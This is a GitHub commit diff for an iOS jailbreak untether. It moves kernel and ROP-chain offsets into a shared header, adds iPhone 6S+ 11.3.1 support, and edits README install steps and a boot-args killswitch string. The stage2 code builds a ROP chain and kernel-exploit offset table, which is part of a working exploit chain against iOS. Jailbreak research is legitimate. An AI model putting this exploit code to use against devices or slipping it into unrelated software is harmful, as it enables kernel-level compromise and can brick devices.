Skip to content

Commit

Permalink
Complete 6S+ 11.3.1 offsets
Browse files Browse the repository at this point in the history
  • Loading branch information
UInt2048 committed May 10, 2024
1 parent c2c89b8 commit 4bc7c8a
Show file tree
Hide file tree
Showing 8 changed files with 354 additions and 332 deletions.
12 changes: 5 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -130,13 +130,11 @@ So we just use swapprefix sysctl and the cool thing about this is that it's a st
We can use this to put our fake port at a known address and both new trustcache entries.

## Installation
For compilation of stage 2 and 4 use the shell scripts in the untether folder, the makefile only works for the app. The compile command line for stage 3 got lost unfortunatly,
but you can easily compile it by disabling all security features (no stack cookie etc) and then also removing the standard lib. Basically you just need to make sure that it compiles as shellcode without lib dependecies
as it's just loaded as a blob into mem and then executed.
For the installation copy stage 2 onto the device into some random folder and stage 3 (/usr/sbin/racoon.dylib) and 4 (/mystuff/stage4) at their right paths.
Create the folder /var/run/racoon and run stage 2.
For compilation of stage 2-4, use the shell scripts in the untether folder, the makefile only works for the app.
For the installation, copy stage 2 onto the device into some random folder and stage 3 (/usr/sbin/racoon.dylib) and 4 (/mystuff/stage4) at their right paths.
Create the folder /var/run/racoon and run stage 2 (note: stage 1 expects stage 2 at /private/etc/racoon/stg2).
Then execute racoon till it doesn't kernel panic anymore to make sure you got the right offsets.
Then also set the nvram variable boot-args to "this boy needs some milk" and check if the system keeps running stable even with racoon (this is the killswitch).
Then also set the nvram variable boot-args to "`__developer_mode_enabled`" and check if the system keeps running stable even with racoon (this is the killswitch).
If you did you can then go for the real untether by replacing one of the launch daemons and unsetting the variable to run the untether on the next boot.
There you need to watch out for three things:
- the launch daemon isn't used by anything important (namely springboard) (otherwise you will softbrick when it fails to run)
Expand All @@ -146,7 +144,7 @@ We found out that you can safely replace prdaily but this one will start really
You can also replace wifiFirmwareLoaderLegacy, but this one has keepalive set so you might softbrick. The big advantage you get tho is speed because it starts really early.
After you chose your daemon you need to update jailbreak.m to unload the right one (currently unloads prdaily) and recompile stage 4/replace it on disk again.
As a last step please run sync a few times to make sure that everything got written to disk and then fingers crossed it works and you don't softbrick.
If you restart and it keeps kernel panicing boot into recovery and set the boot-args to "this boy needs some milk" using irecovery and then reboot this will disable stage 2/the kernel exploit.
If you restart and it keeps kernel panicing boot into recovery and set the boot-args to "`__developer_mode_enabled`" using irecovery and then reboot this will disable stage 2/the kernel exploit.
If you still can't boot after that you basically softbricked sry.

## References
Expand Down
9 changes: 1 addition & 8 deletions src/shared/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -28,14 +28,7 @@ extern SInt32 CFUserNotificationDisplayAlert(
typedef uint32_t kptr_t;
#endif

// Used in jailbreak.m
// There's another version of this used in stage1.h and install.m
#define N41_10_3_4 1
#define N69_11_3 0
#define N69_11_4 0
#define N71_11_3_1 0
#define J96_11_2_1 0
#define J96_11_3_1 0
#include "jboffsets.h"

#include "offsets.h"

Expand Down
573 changes: 297 additions & 276 deletions src/shared/jboffsets.h

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion src/untether/arch.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
armv7
arm64
8 changes: 1 addition & 7 deletions src/untether/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -14,13 +14,7 @@
typedef uint32_t kptr_t;
#endif

// Used in stage1.h and install.m
// There's another version of this used in jailbreak.m
#define N41_10_3_4 1
#define N69_11_3 0
#define N69_11_4 0
#define J96_11_2_1 0
#define J96_11_3_1 0
#include "../shared/jboffsets.h"

#ifdef LOG
#undef LOG
Expand Down
3 changes: 2 additions & 1 deletion src/untether/install.m
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@
// where all the implemented magic happens :P
int install(const char *config_path, const char *racoon_path, const char *dyld_cache_path)
{
#if J96_11_3_1
#define KERNEL_CACHE_PATH "/System/Library/Caches/com.apple.kernelcaches/kernelcache"
// this basically just initalizes the myoffsets structure. THis is the only part that prevent the jailbreak from working on all devices/versions because the offsetfinders (I think mainly the kernel one) is still broken
// so in theory you could also remove all the offsetfinders and just get the symbols by hand
Expand Down Expand Up @@ -79,7 +80,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c
myoffsets.itk_registered = 0x2f0; // offset of the itk registered field
myoffsets.is_task = 0x28; // offset of the is_task field

#if N41_10_3_4 || N69_11_3 || N69_11_4
#else
jake_img_t kernel_symbols; // dummy
offset_struct_t myoffsets;
// adr @ 0x100067c10
Expand Down
2 changes: 1 addition & 1 deletion src/untether/stage1.h
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
// see stage1.c on when and how they are used (I think STAGE2_FD will always be DYLD_CACHE_FD + 1)
#if N69_11_3 || N69_11_4
#define DYLD_CACHE_FD 5
#elif N41_10_3_4 || N71_11_3_1 || J96_11_2_1 || J96_11_3_1
#elif N41_10_3_4 || N71_11_3_1 || J96_11_1_2 || J96_11_3_1
#define DYLD_CACHE_FD 6
#endif
#define STAGE2_FD (DYLD_CACHE_FD+1)
Expand Down
77 changes: 46 additions & 31 deletions src/untether/stage2.m
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,10 @@
#include "stage2.h"
#include "stage1.h"

#include "../shared/jboffsets.h"
#include "generated/stage2_hash3.h"
#include "generated/stage2_hash4.h"


// TODO: move that whole buidling part into another file and integrate rop_chain_debug into rop_chain
// get an address of a specific rop variable (basically rop var name to address)
uint64_t get_rop_var_addr(offset_struct_t * offsets, rop_var_t * ropvars, char * name) {
Expand Down Expand Up @@ -831,10 +831,10 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t * offsets,char * base_dir
ROP_VAR_ARG64("reply_port",5);
CALL("mach_msg",0,MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(struct get_property_request), sizeof(struct get_property_reply),0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL,0);

// setup the compare string ("this boy needs some milk")
// setup the compare string ("__developer_mode_enabled")
char * cmp_str = malloc(100);
memset(cmp_str,0,100);
snprintf(cmp_str,100,"this boy needs some milk");
snprintf(cmp_str,100,"__developer_mode_enabled");
DEFINE_ROP_VAR("cmp_str",100,cmp_str);
DEFINE_ROP_VAR("strcmp_retval",8,tmp);
// call strcmp and save the ret value
Expand Down Expand Up @@ -1356,37 +1356,51 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t * offsets,char * base_dir
} offsets_t;
offsets_t * lib_offsets = malloc(sizeof(offsets_t));
memset(lib_offsets,0,sizeof(offsets_t));
lib_offsets->constant.kernel_image_base = 0xfffffff007004000;
lib_offsets->constant.kernel_image_base = OFF_KERNEL_IMAGE_BASE;
#define sym(name) jake_find_symbol(kernel_symbols,name)
lib_offsets->funcs.copyin = sym("_copyin");
lib_offsets->funcs.copyout = sym("_copyout");
lib_offsets->funcs.current_task = sym("_current_task");
lib_offsets->funcs.get_bsdtask_info = sym("_get_bsdtask_info");
lib_offsets->funcs.vm_map_wire_external = sym("vm_map_wire_external");
lib_offsets->funcs.vfs_context_current = sym("vfs_context_current");
lib_offsets->funcs.vnode_lookup = sym("_vnode_lookup");
lib_offsets->funcs.osunserializexml = sym("__Z16OSUnserializeXMLPKcPP8OSString");
lib_offsets->funcs.smalloc = 0xfffffff006b1acb0; // isn't used anymore
lib_offsets->funcs.ipc_port_alloc_special = 0xfffffff0070b9328;
lib_offsets->funcs.ipc_kobject_set = 0xfffffff0070cf2c8;
lib_offsets->funcs.ipc_port_make_send = 0xfffffff0070b8aa4;
lib_offsets->gadgets.add_x0_x0_ret = sym("_csblob_get_cdhash");
lib_offsets->data.realhost = find_realhost(kernel_symbols);
lib_offsets->data.zone_map = find_zonemap(kernel_symbols);
lib_offsets->data.kernel_task = sym("_kernel_task");
lib_offsets->data.kern_proc = sym("_kernproc");
lib_offsets->data.rootvnode = sym("_rootvnode");
lib_offsets->data.osboolean_true = 0xfffffff00764c468; // isn't used anymore
lib_offsets->data.trust_cache = 0xfffffff0076b8ee8; // isn't used by stage 3
lib_offsets->funcs.copyin = OFF_COPYIN;
lib_offsets->funcs.copyout = OFF_COPYOUT;
lib_offsets->funcs.current_task = OFF_CURRENT_TASK;
lib_offsets->funcs.get_bsdtask_info = OFF_GET_BSDTASK_INFO;
lib_offsets->funcs.vm_map_wire_external = OFF_VM_MAP_WIRE_EXTERNAL;
lib_offsets->funcs.vfs_context_current = OFF_VFS_CONTEXT_CURRENT;
lib_offsets->funcs.vnode_lookup = OFF_VNODE_LOOKUP;
lib_offsets->funcs.osunserializexml = OFF_OSUNSERIALIZEXML;
lib_offsets->funcs.smalloc = OFF_SMALLOC; // isn't used anymore
lib_offsets->funcs.ipc_port_alloc_special = OFF_IPC_PORT_ALLOC_SPECIAL;
lib_offsets->funcs.ipc_kobject_set = OFF_IPC_KOBJECT_SET;
lib_offsets->funcs.ipc_port_make_send = OFF_IPC_PORT_MAKE_SEND;
lib_offsets->gadgets.add_x0_x0_ret = OFF_ADD_X0_X0_RET;
lib_offsets->data.realhost = OFF_REALHOST;
lib_offsets->data.zone_map = OFF_ZONE_MAP;
lib_offsets->data.kernel_task = OFF_KERNEL_TASK;
lib_offsets->data.kern_proc = OFF_KERN_PROC;
lib_offsets->data.rootvnode = OFF_ROOTVNODE;
lib_offsets->data.osboolean_true = OFF_OSBOOLEAN_TRUE; // isn't used anymore
lib_offsets->data.trust_cache = OFF_TRUST_CACHE; // isn't used by stage 3
// maybe wrong (we will not include them in the symbol finder for now, if that fails we still have the killswitch and could add version differences later)
lib_offsets->struct_offsets.is_task_offset = 0x28;
lib_offsets->struct_offsets.task_itk_self = 0xd8;
lib_offsets->struct_offsets.itk_registered = 0x2f0;
lib_offsets->struct_offsets.ipr_size = 0x8;
lib_offsets->struct_offsets.sizeof_task = 0x5c8;
lib_offsets->struct_offsets.task_all_image_info_addr = 0x3a8;
lib_offsets->struct_offsets.task_all_image_info_size = 0x3b0;
lib_offsets->struct_offsets.is_task_offset = OFF_IS_TASK;
lib_offsets->struct_offsets.task_itk_self = OFF_TASK_ITK_SELF;
lib_offsets->struct_offsets.itk_registered = OFF_ITK_REGISTERED;
lib_offsets->struct_offsets.ipr_size = OFF_IPR_SIZE;
lib_offsets->struct_offsets.sizeof_task = OFF_SIZEOF_TASK;
lib_offsets->struct_offsets.task_all_image_info_addr = OFF_TASK_ALL_IMAGE_INFO_ADDR;
lib_offsets->struct_offsets.task_all_image_info_size = OFF_TASK_ALL_IMAGE_INFO_SIZE;
// iosurface stuff isn't set and also isn't used
#if N71_11_3_1
lib_offsets->userland_funcs.write = OFF_WRITE;
lib_offsets->userland_funcs.IOConnectTrap6 = OFF_IOCONNECTTRAP6;
lib_offsets->userland_funcs.mach_ports_lookup = OFF_MACH_PORTS_LOOKUP;
lib_offsets->userland_funcs.mach_task_self = OFF_MACH_TASK_SELF;
lib_offsets->userland_funcs.mach_vm_remap = OFF_MACH_VM_REMAP;
lib_offsets->userland_funcs.mach_port_destroy = OFF_MACH_PORT_DESTROY;
lib_offsets->userland_funcs.mach_port_deallocate = OFF_MACH_PORT_DEALLOCATE;
lib_offsets->userland_funcs.mach_port_allocate = OFF_MACH_PORT_ALLOCATE;
lib_offsets->userland_funcs.mach_port_insert_right = OFF_MACH_PORT_INSERT_RIGHT;
lib_offsets->userland_funcs.mach_ports_register = OFF_MACH_PORTS_REGISTER;
lib_offsets->userland_funcs.mach_msg = OFF_MACH_MSG;
lib_offsets->userland_funcs.posix_spawn = OFF_POSIX_SPAWN;
#else
lib_offsets->userland_funcs.write = (void*)(get_addr_from_name(offsets,"write") - 0x180000000 + offsets->new_cache_addr);
lib_offsets->userland_funcs.IOConnectTrap6 = (void*)(get_addr_from_name(offsets,"IOConnectTrap6") - 0x180000000 + offsets->new_cache_addr);
lib_offsets->userland_funcs.mach_ports_lookup = (void*)(get_addr_from_name(offsets,"mach_ports_lookup") - 0x180000000 + offsets->new_cache_addr);
Expand All @@ -1399,6 +1413,7 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t * offsets,char * base_dir
lib_offsets->userland_funcs.mach_ports_register = (void*)(get_addr_from_name(offsets,"mach_ports_register") - 0x180000000 + offsets->new_cache_addr);
lib_offsets->userland_funcs.mach_msg = (void*)(get_addr_from_name(offsets,"mach_msg") - 0x180000000 + offsets->new_cache_addr);
lib_offsets->userland_funcs.posix_spawn = (void*)(get_addr_from_name(offsets,"posix_spawn") - 0x180000000 + offsets->new_cache_addr);
#endif
DEFINE_ROP_VAR("lib_offsets",sizeof(offsets_t),lib_offsets);
// jump void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobject_client_port_addr,uint64_t our_task_addr,uint64_t kslide,uint64_t the_one,offsets_t * offsets)
ROP_VAR_ARG_HOW_MANY(7);
Expand Down

0 comments on commit 4bc7c8a

Please sign in to comment.